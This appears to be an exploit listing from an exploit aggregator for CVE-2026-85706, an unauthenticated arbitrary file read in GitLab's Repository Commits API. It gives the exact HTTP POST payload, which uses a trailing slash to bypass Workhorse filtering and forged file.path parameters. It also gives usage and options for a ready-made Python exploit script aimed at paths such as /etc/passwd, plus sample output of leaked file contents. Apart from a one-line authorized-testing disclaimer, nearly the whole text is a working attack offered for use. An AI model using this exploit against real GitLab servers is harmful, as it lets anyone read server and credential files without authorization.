## https://sploitus.com/exploit?id=03E9515D-B221-50D7-BD1C-59F315FEAA18
# CVE-2026-85706: GitLab CE/EE allows arbitrary file reading without authorization
- **Component**: Repository Commits API (Workhorse body-upload variant)
- **Affected Versions**: 18.7 and later versions. When the request contains the parameter `bad_request!`, a 400 response is returned. **Modification**: The trailing slash bypasses Workhorse’s filtering mechanism. Directly hitting the main endpoint will trigger Workhorse’s body-upload filtering (strictly matching `.../repository/commits\z`). Falsified parameters are included in the uploaded file. Adding a `/` at the end of the URL does not trigger this rule; instead, it falls back to the signature reverse proxy. The original request body, along with the falsified parameters, is forwarded to Rails, and a valid JWT is included. `require_gitlab_workhorse!` is passed through; after normalizing the trailing slash, the vulnerability handler is still triggered. **Prerequisites**: The `:id` in the URL must refer to a real project (any public project is acceptable). No login is required throughout the process. **Usage Example**:
```
HTTP POST /api/v4/projects/1/repository/commits/
Content-Type: application/x-www-form-urlencoded
file=&file.path=/flag&file.size=1&Content-Type=application/x-www-form-urlencoded
```
**Response** (including lines containing illegal `%-sequences`):
```
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (flag{...}%)"}
```
Legal JSON files processed by `Oj.load_file` do not produce any output, and can be used as an oracle for file existence checks. **Script Usage**:
Python 3 standard library implementation, no third-party dependencies required.
```
bash
python3 exploit.py -t http://: -f /etc/passwd
```
| Parameter | Description |
|---|---|
| `-t` | Target GitLab address (required), e.g., `http://:`
| `-f` | Absolute path to read (default: `/flag`)
| `-p` | Project ID; any real project is acceptable (default: `1`)
| `-o` | Save the read content to a local file |
**Example Output** (flag details are masked):
```
============================================================
CVE-2026-85706 | GitLab unauth arbitrary file read | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http:// -> /flag
[*] HTTP 400 | Leaked
[+] Leaked content of /flag:
------------------------------------------------------------
flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx%}
------------------------------------------------------------
```
> This tool is only used for authorized security testing and vulnerability research.